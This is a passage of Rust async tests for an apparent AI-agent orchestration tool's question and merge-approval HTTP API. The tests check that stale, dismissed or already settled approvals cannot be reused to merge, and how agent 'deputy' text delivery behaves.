12657                serde_json::to_value(&stale.pr).unwrap()
12658            );
12659            assert_eq!(fx.questions().count_open(), 0);
12660            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12661            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12662            if owner == "missing" {
12663                assert!(fx.queue().list().is_empty());
12664            } else {
12665                let after = fx.queue().get(&task.id).unwrap();
12666                assert_eq!(
12667                    after.status,
12668                    if owner == "current" {
12669                        TaskStatus::Done
12670                    } else {
12671                        task.status
12672                    }
12673                );
12674                assert_eq!(after.runs, task.runs);
12675                assert_eq!(after.instruction, task.instruction);
12676                assert_eq!(after.action_applied(&q.id), owner == "current");
12677            }
12678        }
12679    }
12680
12681    #[tokio::test]
12682    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12683        let fx = Fixture::start().await;
12684        let mut state = obsolete_approval_state();
12685        state.status = RunStatus::Landing;
12686        state.parked = true;
12687        state.driver_exited = true;
12688        let mut q = Question::new(
12689            state.id.clone(),
12690            crate::land::APPROVAL_NODE.into(),
12691            "land".into(),
12692            "Superseded PR approval".into(),
12693            "Original review evidence".into(),
12694            vec!["merge".into(), "hold".into()],
12695        );
12696        state.land_approval = Some(crate::run::LandApproval {
12697            question: q.id.clone(),
12698            head: "old-reviewed-head".into(),
12699        });
12700        // The old persisted PR may still say open even when a separate change
12701        // already landed. Dismissal must not use that snapshot to close it.
12702        state.save_under(fx.home.path()).unwrap();
12703        let stale_driver = state.clone();
12704        fx.questions().put(&mut q).unwrap();
12705        let path = fx
12706            .home
12707            .path()
12708            .join("questions")
12709            .join(format!("{}.json", q.id));
12710        let mut legacy = serde_json::to_value(&q).unwrap();
12711        legacy["schema"] = 9.into();
12712        legacy.as_object_mut().unwrap().remove("merge_target");
12713        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12714
12715        // POST without GET tests legacy upgrade and validation at the actual
12716        // entry point, rather than constructing a modern card in the test.
12717        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12718        let answer_path = format!("/api/questions/{}/answer", q.id);
12719        let res = fx.post(&answer_path, Some(&body)).await;
12720        assert_eq!(res.status, 200, "{}", res.body);
12721        let disk = fx.questions().get(&q.id).unwrap();
12722        assert_eq!(
12723            disk.resolution().as_deref(),
12724            Some(crate::merge_decision::DISMISS)
12725        );
12726        assert!(disk.detail.starts_with("Original review evidence"));
12727        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12728        assert_eq!(retired.status, RunStatus::Superseded);
12729        assert_eq!(
12730            serde_json::to_value(&retired.pr).unwrap(),
12731            serde_json::to_value(&state.pr).unwrap()
12732        );
12733        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12734        assert!(!crate::merge_decision::resumable_hold(&retired));
12735        assert!(fx.queue().list().is_empty());
12736        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12737        // A restarted server re-reads the persisted pending list.
12738        let addr = Fixture::serve(
12739            fx.home.path(),
12740            PathBuf::from("/repo/magi"),
12741            launch_idle,
12742            None,
12743        )
12744        .await;
12745        let reconnected = Fixture {
12746            home: fx.home,
12747            addr,
12748        };
12749        let listed = reconnected.get("/api/questions").await.json();
12750        assert!(
12751            listed
12752                .as_array()
12753                .unwrap()
12754                .iter()
12755                .all(|q| q["status"] != "open")
12756        );
12757        assert_eq!(listed[0]["id"], q.id, "history remains available");
12758        assert_eq!(
12759            reconnected.get("/api/health").await.json()["questions_open"],
12760            0
12761        );
12762        assert_eq!(
12763            reconnected
12764                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12765                .await
12766                .status,
12767            409
12768        );
12769        // A late waiter cannot turn the old answer into a new decision.
12770        assert!(
12771            reconnected
12772                .questions()
12773                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12774                .is_err()
12775        );
12776        // The same guard used by claims, repair and publication rejects a
12777        // saved in-memory driver as well as the persisted terminal record.
12778        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12779    }
12780
12781    #[tokio::test]
12782    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12783        let fx = Fixture::start().await;
12784        let mut state = obsolete_approval_state();
12785        state.status = RunStatus::Landing;
12786        state.driver_exited = true;
12787        let mut q = Question::new(
12788            state.id.clone(),
12789            crate::land::APPROVAL_NODE.into(),
12790            "land".into(),
12791            "Obsolete approval".into(),
12792            String::new(),
12793            vec!["merge".into(), "hold".into()],
12794        );
12795        state.land_approval = Some(crate::run::LandApproval {
12796            question: q.id.clone(),
12797            head: "head".into(),
12798        });
12799        state.save_under(fx.home.path()).unwrap();
12800        fx.questions().put(&mut q).unwrap();
12801        let mut task = Task::new(
12802            "Owner".into(),
12803            "Original instruction".into(),
12804            state.repo.clone(),
12805            Source::Human,
12806        );
12807        task.runs = vec![state.id.clone(), "later-run".into()];
12808        fx.queue().put(&mut task).unwrap();
12809        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12810        let claim = fx.queue().claim(&task.id).unwrap();
12811        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12812        let path = format!("/api/questions/{}/answer", q.id);
12813        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12814        assert!(fx.questions().get(&q.id).unwrap().status.open());
12815        drop(claim);
12816        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12817        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12818        assert!(fx.questions().get(&q.id).unwrap().status.open());
12819        drop(publication);
12820        // Unknown liveness and armed auto-merge both fail without settling.
12821        state.driver_exited = false;
12822        state.driver_pid = None;
12823        state.driver_claimed = None; // No durable proof of an unstarted execution.
12824        state.save_under(fx.home.path()).unwrap();
12825        assert_eq!(
12826            state.liveness_under(fx.home.path(), false),
12827            crate::run::Liveness::Unknown
12828        );
12829
12830        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12831        state.driver_exited = true;
12832        state.land_armed_head = Some("head".into());
12833        state.save_under(fx.home.path()).unwrap();
12834        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12835        state.land_armed_head = None;
12836        state.save_under(fx.home.path()).unwrap();
12837        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12838        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12839        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12840    }
12841
12842    #[tokio::test]
12843    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12844        let fx = Fixture::start().await;
12845        let mut state = obsolete_approval_state();
12846        state.status = RunStatus::Landing;
12847        state.driver_exited = true;
12848        let mut q = Question::new(
12849            state.id.clone(),
12850            crate::land::APPROVAL_NODE.into(),
12851            "land".into(),
12852            "Obsolete approval".into(),
12853            String::new(),
12854            vec!["merge".into(), "hold".into()],
12855        );
12856        state.land_approval = Some(crate::run::LandApproval {
12857            question: q.id.clone(),
12858            head: "head".into(),
12859        });
12860        state.save_under(fx.home.path()).unwrap();
12861        fx.questions().put(&mut q).unwrap();
12862        let mut task = Task::new(
12863            "Owner".into(),
12864            "Original instruction".into(),
12865            state.repo.clone(),
12866            Source::Human,
12867        );
12868        task.runs.push(state.id.clone());
12869        task.status = TaskStatus::Parked;
12870        fx.queue().put(&mut task).unwrap();
12871        // Model a crash after the run stop was persisted but before the queue
12872        // and answered question were flushed. Retrying must finish, not resume.
12873        state.merge_decision = Some(crate::merge_decision::Decision {
12874            question: q.id.clone(),
12875            target: crate::merge_decision::Target {
12876                pr: state.pr.as_ref().unwrap().url.clone(),
12877                head: "head".into(),
12878                language: "ja".into(),
12879            },
12880            choice: crate::merge_decision::DISMISS.into(),
12881            closed: false,
12882            replacement_run: None,
12883            replacement_pr: None,
12884        });
12885        state.status = RunStatus::Superseded;
12886        state.save_under(fx.home.path()).unwrap();
12887        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12888        let path = format!("/api/questions/{}/answer", q.id);
12889        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12890        let done = fx.queue().get(&task.id).unwrap();
12891        assert_eq!(done.status, TaskStatus::Done);
12892        assert_eq!(done.runs, task.runs);
12893        assert_eq!(done.instruction, task.instruction);
12894        assert!(done.action_applied(&q.id));
12895        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12896        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12897        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12898    }
12899
12900    #[tokio::test]
12901    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12902        let home = TempDir::new().unwrap();
12903        let ui = Arc::new(Ui::new(
12904            Queue::at(home.path().join("queue")),
12905            Questions::at(home.path().join("questions")),
12906            Talks::at(home.path().join("talks")),
12907            home.path().join("runs"),
12908            home.path().to_owned(),
12909            home.path().to_owned(),
12910        ));
12911        let talks = &ui.talks;
12912        let chat =
12913            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12914        let mut q = Question::new(
12915            "run".into(),
12916            crate::land::APPROVAL_NODE.into(),
12917            "land".into(),
12918            "Merge?".into(),
12919            String::new(),
12920            vec!["merge".into(), "hold".into()],
12921        );
12922        q.routed_task = Some("task".into());
12923        q.routed_chat = Some(chat.id.clone());
12924        q.merge_target = Some(crate::merge_decision::Target {
12925            pr: "https://example.test/pull/1".into(),
12926            head: "head-a".into(),
12927            language: "en".into(),
12928        });
12929        ui.questions.put(&mut q).unwrap();
12930        let send = |body| {
12931            question_answer(
12932                State(ui.clone()),
12933                Path(q.id.clone()),
12934                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12935            )
12936        };
12937        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12938        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12939        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12940        assert!(send(wrong_chat).await.is_err());
12941        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12942        assert!(send(stale).await.is_err());
12943        assert!(ui.questions.get(&q.id).unwrap().status.open());
12944        assert!(send(button.clone()).await.is_ok());
12945        assert_eq!(
12946            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12947            Some("merge")
12948        );
12949        assert!(send(button).await.is_err());
12950    }
12951
12952    #[tokio::test]
12953    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12954        let home = TempDir::new().unwrap();
12955        let ui = Arc::new(Ui::new(
12956            Queue::at(home.path().join("queue")),
12957            Questions::at(home.path().join("questions")),
12958            Talks::at(home.path().join("talks")),
12959            home.path().join("runs"),
12960            home.path().to_owned(),
12961            home.path().to_owned(),
12962        ));
12963        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12964            let mut q = Question::new(
12965                "run".into(),
12966                crate::land::APPROVAL_NODE.into(),
12967                "land".into(),
12968                "Merge?".into(),
12969                String::new(),
12970                vec!["merge".into(), choice.into()],
12971            );
12972            q.routed_task = Some("task".into());
12973            q.merge_target = Some(crate::merge_decision::Target {
12974                pr: "https://example.test/pull/1".into(),
12975                head: "head-a".into(),
12976                language: "en".into(),
12977            });
12978            ui.questions.put(&mut q).unwrap();
12979            let answer = |c: &str| {
12980                question_answer(
12981                    State(ui.clone()),
12982                    Path(q.id.clone()),
12983                    Ok(Json(
12984                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12985                            .unwrap(),
12986                    )),
12987                )
12988            };
12989            let _ = answer(choice).await.unwrap();
12990            assert_eq!(
12991                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12992                Some(choice)
12993            );
12994        }
12995    }
12996
12997    #[tokio::test]
12998    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12999        let home = TempDir::new().unwrap();
13000        let ui = Arc::new(Ui::new(
13001            Queue::at(home.path().join("queue")),
13002            Questions::at(home.path().join("questions")),
13003            Talks::at(home.path().join("talks")),
13004            home.path().join("runs"),
13005            home.path().to_owned(),
13006            home.path().to_owned(),
13007        ));
13008        let mut q = Question::new(
13009            "run".into(),
13010            crate::github_text::ASK_NODE.into(),
13011            "posting-gate".into(),
13012            "Post?".into(),
13013            String::new(),
13014            vec!["use fallback".into()],
13015        );
13016        q.routed_task = Some("task".into());
13017        ui.questions.put(&mut q).unwrap();
13018        let sent = question_answer(
13019            State(ui.clone()),
13020            Path(q.id.clone()),
13021            Ok(Json(
13022                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13023                    .unwrap(),
13024            )),
13025        )
13026        .await;
13027        let _ = sent.unwrap();
13028        assert_eq!(
13029            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13030            Some("use fallback")
13031        );
13032    }
13033
13034    #[tokio::test]
13035    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13036        let fx = Fixture {
13037            home: TempDir::new().unwrap(),
13038            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13039        };
13040        for choice in [
13041            crate::land::HOLD,
13042            crate::land::REPAIR,
13043            crate::land::APPROVE,
13044            crate::merge_decision::WITHDRAW,
13045            "reimplement:beta",
13046        ] {
13047            let mut q = Question::new(
13048                "old-run".into(),
13049                crate::land::APPROVAL_NODE.into(),
13050                "land".into(),
13051                "Decision".into(),
13052                "Review findings".into(),
13053                vec![
13054                    "merge".into(),
13055                    "hold".into(),
13056                    crate::land::REPAIR.into(),
13057                    crate::merge_decision::WITHDRAW.into(),
13058                    "reimplement:beta".into(),
13059                ],
13060            );
13061            q.merge_target = Some(crate::merge_decision::Target {
13062                pr: "https://github.com/example/repo/pull/42".into(),
13063                head: "exact-reviewed-head".into(),
13064                language: "ja".into(),
13065            });
13066            q.consult = Some(ask::ChatConsult {
13067                talk: "another-conversation".into(),
13068                at: jiff::Timestamp::now(),
13069            });
13070            fx.questions().put(&mut q).unwrap();
13071            let ui = Arc::new(Ui::new(
13072                fx.queue(),
13073                fx.questions(),
13074                fx.talks(),
13075                fx.runs(),
13076                fx.home.path().into(),
13077                std::path::PathBuf::from("."),
13078            ));
13079            let response = question_answer(
13080                State(ui.clone()),
13081                Path(q.id.clone()),
13082                Ok(Json(NewAnswer {
13083                    choice: Some(choice.into()),
13084                    text: None,
13085                    ..Default::default()
13086                })),
13087            )
13088            .await
13089            .unwrap();
13090            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13091            let disk = fx.questions().get(&q.id).unwrap();
13092            assert_eq!(disk.merge_target, q.merge_target);
13093            assert_eq!(disk.consult, q.consult);
13094            assert_eq!(disk.resolution().as_deref(), Some(choice));
13095            assert!(
13096                question_answer(
13097                    State(ui),
13098                    Path(q.id.clone()),
13099                    Ok(Json(NewAnswer {
13100                        choice: Some("merge".into()),
13101                        text: None,
13102                        ..Default::default()
13103                    }))
13104                )
13105                .await
13106                .is_err(),
13107                "an already settled decision cannot turn into merge approval"
13108            );
13109        }
13110    }
13111
13112    #[tokio::test]
13113    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13114        let fx = Fixture {
13115            home: TempDir::new().unwrap(),
13116            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13117        };
13118        let mut state = crate::land::tests::repair_state(true, true);
13119        state.status = RunStatus::Landing;
13120        state.parked = true;
13121        state.driver_exited = true;
13122        let mut task = Task::new(
13123            "Existing PR owner".into(),
13124            state.instruction.clone(),
13125            state.repo.clone(),
13126            Source::Human,
13127        );
13128        task.runs.push(state.id.clone());
13129        task.status = TaskStatus::Parked;
13130        fx.queue().put(&mut task).unwrap();
13131        let mut q = Question::new(
13132            state.id.clone(),
13133            crate::land::APPROVAL_NODE.into(),
13134            "land".into(),
13135            "Contested merge".into(),
13136            "Original evidence".into(),
13137            vec!["merge".into(), "hold".into()],
13138        );
13139        state.land_approval = Some(crate::run::LandApproval {
13140            question: q.id.clone(),
13141            head: "reviewed-head".into(),
13142        });
13143        state.save_under(fx.home.path()).unwrap();
13144        fx.questions().put(&mut q).unwrap();
13145        // A later repair answer on this old card supersedes this manual hold.
13146        task.hold_manual(Some("Pause this PR".into()));
13147        fx.queue().put(&mut task).unwrap();
13148        // POST directly, without a preceding GET: validation must see the
13149        // same durable upgrade that the card, CLI and chat see.
13150        let ui = Arc::new(Ui::new(
13151            fx.queue(),
13152            fx.questions(),
13153            fx.talks(),
13154            fx.runs(),
13155            fx.home.path().to_path_buf(),
13156            state.repo.clone(),
13157        ));
13158        let response = question_answer(
13159            State(ui),
13160            Path(q.id.clone()),
13161            Ok(Json(NewAnswer {
13162                choice: Some(crate::land::REPAIR.into()),
13163                text: None,
13164                ..Default::default()
13165            })),
13166        )
13167        .await
13168        .unwrap();
13169        assert_eq!(response.0.question.id, q.id);
13170        let upgraded = fx.questions().get(&q.id).unwrap();
13171        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13172        assert!(upgraded.detail.starts_with("Original evidence"));
13173        let claim = fx.queue().claim(&task.id).unwrap();
13174        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13175        assert!(
13176            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13177            "an existing driver keeps its claim"
13178        );
13179        drop(claim);
13180        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13181        let resumed = fx.queue().get(&task.id).unwrap();
13182        assert_eq!(
13183            resumed
13184                .resume_override
13185                .as_ref()
13186                .unwrap()
13187                .pinned_run
13188                .as_deref(),
13189            Some(state.id.as_str())
13190        );
13191        assert!(resumed.status.runnable());
13192        assert_eq!(resumed.instruction, task.instruction);
13193        assert_eq!(resumed.runs, task.runs);
13194        assert!(resumed.action_applied(&q.id));
13195        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13196        assert_eq!(fx.queue().list().len(), 1);
13197        assert_eq!(
13198            fx.queue().get(&task.id).unwrap().resume_override,
13199            resumed.resume_override
13200        );
13201        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13202        assert!(
13203            disk.merge_repairs.is_empty(),
13204            "only the claimed run driver may execute repair"
13205        );
13206        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13207    }
13208
13209    #[tokio::test]
13210    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13211        let fx = Fixture::start().await;
13212        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13213        let path = format!("/api/questions/{id}/answer");
13214
13215        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13216        assert_eq!(res.status, 200, "{}", res.body);
13217        let body = res.json();
13218        assert_eq!(body["status"], "answered");
13219        assert_eq!(body["answer"]["choice"], "Redis");
13220
13221        // Answered from the terminal in between the list and the tap: the UI
13222        // must be able to tell this from a bad request, so it can show the
13223        // recorded answer instead of an error.
13224        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13225        assert_eq!(again.status, 409, "{}", again.body);
13226        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13227    }
13228
13229    #[tokio::test]
13230    async fn fresh_api_answers_survive_task_inquiry_migration() {
13231        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13232        for migrate_first in [false, true] {
13233            let fx = Fixture::start().await;
13234            let mut task = Task::new(
13235                "work".into(),
13236                "work".into(),
13237                PathBuf::from("/repo/magi"),
13238                Source::Human,
13239            );
13240            task.runs.push("run-a".into());
13241            fx.queue().put(&mut task).unwrap();
13242            let mut q = Question::new(
13243                "run-a".into(),
13244                "implement".into(),
13245                "impl-A".into(),
13246                "Keep held?".into(),
13247                String::new(),
13248                vec!["hold".into()],
13249            );
13250            q.actions.insert("hold".into(), ChoiceAction::Hold);
13251            fx.questions().put(&mut q).unwrap();
13252            if migrate_first {
13253                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13254            }
13255            let response = fx
13256                .post(
13257                    &format!("/api/questions/{}/answer", q.id),
13258                    Some(r#"{"choice":"hold"}"#),
13259                )
13260                .await;
13261            assert_eq!(response.status, 200, "{}", response.body);
13262            for _ in 0..2 {
13263                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13264                let source = fx.questions().get(&q.id).unwrap();
13265                assert_eq!(source.resolution().as_deref(), Some("hold"));
13266                let decision = Outbox::at(fx.home.path())
13267                    .get(&q.id)
13268                    .unwrap()
13269                    .decision
13270                    .unwrap();
13271                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13272                assert_eq!(decision.source_answer_at, source.answered_at);
13273                assert_eq!(decision.status, Status::Queued);
13274            }
13275            assert_eq!(
13276                fx.post(
13277                    &format!("/api/questions/{}/answer", q.id),
13278                    Some(r#"{"choice":"hold"}"#)
13279                )
13280                .await
13281                .status,
13282                409
13283            );
13284        }
13285    }
13286
13287    #[tokio::test]
13288    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13289        let home = tempfile::tempdir().unwrap();
13290        let ui = delta_test_ui(home.path());
13291        let mut q = Question::new(
13292            "task".into(),
13293            crate::land::APPROVAL_NODE.into(),
13294            "land".into(),
13295            "Explain?".into(),
13296            String::new(),
13297            vec!["hold".into()],
13298        );
13299        q.deputy = Some(ask::Deputy::new("context".into()));
13300        ui.questions.put(&mut q).unwrap();
13301        let mut cfg = stub_config();
13302        cfg.daemon.max_deputies = 0;
13303        let mut status = crate::daemon::Status::new();
13304        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13305        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13306        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13307        let error = question_say(
13308            State(ui.clone()),
13309            Path(q.id.clone()),
13310            Ok(Json(NewSay {
13311                body: "Explain the findings".into(),
13312            })),
13313        )
13314        .await
13315        .unwrap_err();
13316        assert_eq!(
13317            error.text_reason,
13318            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13319        );
13320        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13321
13322        let mut text = Question::new(
13323            "task".into(),
13324            "ask".into(),
13325            "operator".into(),
13326            "Which name?".into(),
13327            String::new(),
13328            vec![],
13329        );
13330        ui.questions.put(&mut text).unwrap();
13331        let Json(view) = question_answer(
13332            State(ui.clone()),
13333            Path(text.id.clone()),
13334            Ok(Json(NewAnswer {
13335                choice: None,
13336                text: Some("chosen name".into()),
13337                ..Default::default()
13338            })),
13339        )
13340        .await
13341        .unwrap();
13342        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13343        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13344    }
13345
13346    #[tokio::test]
13347    async fn question_text_handler_admission_without_transport() {
13348        let home = tempfile::tempdir().unwrap();
13349        let ui = delta_test_ui(home.path());
13350        let mut q = Question::new(
13351            "task".into(),
13352            crate::land::APPROVAL_NODE.into(),
13353            "land".into(),
13354            "May this PR merge?".into(),
13355            String::new(),
13356            vec!["hold".into()],
13357        );
13358        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13359        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13360        ui.questions.put(&mut q).unwrap();
13361        let say = || {
13362            Ok(Json(NewSay {
13363                body: "Explain the findings".into(),
13364            }))
13365        };
13366        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13367            .await
13368            .unwrap_err();
13369        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13370        let response = rejected.into_response();
13371        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13372            .await
13373            .unwrap();
13374        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13375        assert_eq!(body["code"], "question_text_unavailable");
13376        assert_eq!(body["reason"], "deputy_exhausted");
13377        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13378        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13379        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13380        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13381            .await
13382            .unwrap();
13383        assert_eq!(view.text_delivery.state, "live");
13384        assert!(view.question.waiter.is_none());
13385        assert!(view.question.cwd.is_none());
13386        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13387        ui.questions.drop_lease(&q.id);
13388        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13389            .await
13390            .unwrap_err();
13391        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13392        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13393        let _ = question_answer(
13394            State(ui.clone()),
13395            Path(q.id.clone()),
13396            Ok(Json(NewAnswer {
13397                choice: Some("hold".into()),
13398                text: None,
13399                ..Default::default()
13400            })),
13401        )
13402        .await
13403        .unwrap();
13404        assert_eq!(
13405            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13406            Some("hold")
13407        );
13408    }
13409
13410    #[tokio::test]
13411    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13412        let fx = Fixture::start().await;
13413        let store = fx.questions();
13414        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13415        store
13416            .update(&id, |q| {
13417                q.node = crate::land::APPROVAL_NODE.to_owned();
13418                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13419                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13420                Ok(())
13421            })
13422            .unwrap();
13423        let path = format!("/api/questions/{id}/say");
13424        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13425        assert_eq!(refused.status, 422, "{}", refused.body);
13426        assert!(
13427            refused.json()["error"]
13428                .as_str()
13429                .unwrap()
13430                .contains("deputy_exhausted")
13431        );
13432        assert!(store.get(&id).unwrap().thread.is_empty());
13433
13434        // A final live deputy is usable even with no ordinary waiter/cwd.
13435        store.beat(&id, ask::WaiterKind::Deputy);
13436        let view = fx.get("/api/questions").await.json();
13437        assert_eq!(view[0]["text_delivery"]["state"], "live");
13438        let accepted = fx
13439            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13440            .await;
13441        assert_eq!(accepted.status, 200, "{}", accepted.body);
13442        let before = std::fs::read(store.path_of(&id)).unwrap();
13443
13444        // The recipient exits between rendering and sending. Rejection must
13445        // preserve previously accepted text, the answer and delivery cursor.
13446        store.drop_lease(&id);
13447        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13448        assert_eq!(refused.status, 422, "{}", refused.body);
13449        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13450        let held = fx
13451            .post(
13452                &format!("/api/questions/{id}/answer"),
13453                Some(r#"{"choice":"hold"}"#),
13454            )
13455            .await;
13456        assert_eq!(held.status, 200, "{}", held.body);
13457        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13458    }
13459
13460    #[tokio::test]
13461    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13462        let repo = tempfile::tempdir().unwrap();
13463        let mut cfg = stub_config();
13464        cfg.daemon.max_deputies = 0;
13465        std::fs::write(
13466            repo.path().join("magi.toml"),
13467            toml::to_string(&cfg).unwrap(),
13468        )
13469        .unwrap();
13470        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13471        let mut status = crate::daemon::Status::new();
13472        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13473        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13474        let id = ask(&fx, "Explain?", &["hold"]);
13475        fx.questions()
13476            .update(&id, |q| {
13477                q.node = crate::land::APPROVAL_NODE.into();
13478                q.deputy = Some(ask::Deputy::new("context".into()));
13479                q.deputy.as_mut().unwrap().agent = "stub".into();
13480                Ok(())
13481            })
13482            .unwrap();
13483        cfg.daemon.max_deputies = 1;
13484        std::fs::write(
13485            repo.path().join("magi.toml"),
13486            toml::to_string(&cfg).unwrap(),
13487        )
13488        .unwrap();
13489        let view = fx.get("/api/questions").await.json();
13490        assert_eq!(view[0]["deputies_enabled"], true);
13491        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13492        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13493        let res = fx
13494            .post(
13495                &format!("/api/questions/{id}/say"),
13496                Some(r#"{"body":"Please explain"}"#),
13497            )
13498            .await;
13499        assert_eq!(res.status, 422, "{}", res.body);
13500        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13501    }
13502
13503    #[tokio::test]
13504    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13505        let fx = Fixture::start().await;
13506        let id = ask(&fx, "No seat", &[]);
13507        let store = fx.questions();
13508        let before = std::fs::read(store.path_of(&id)).unwrap();
13509        let res = fx
13510            .post(
13511                &format!("/api/questions/{id}/say"),
13512                Some(r#"{"body":"hello"}"#),
13513            )
13514            .await;
13515        assert_eq!(res.status, 422, "{}", res.body);
13516        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13517        let res = fx
13518            .post(
13519                &format!("/api/questions/{id}/answer"),
13520                Some(r#"{"text":"hello"}"#),
13521            )
13522            .await;
13523        assert_eq!(res.status, 200, "{}", res.body);
13524        assert_eq!(
13525            store.get(&id).unwrap().resolution().as_deref(),
13526            Some("hello")
13527        );
13528    }
13529
13530    #[tokio::test]
13531    async fn saying_something_appends_a_turn_without_answering() {
13532        let fx = Fixture::start().await;
13533        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13534        fx.questions().beat(&id, ask::WaiterKind::Asker);
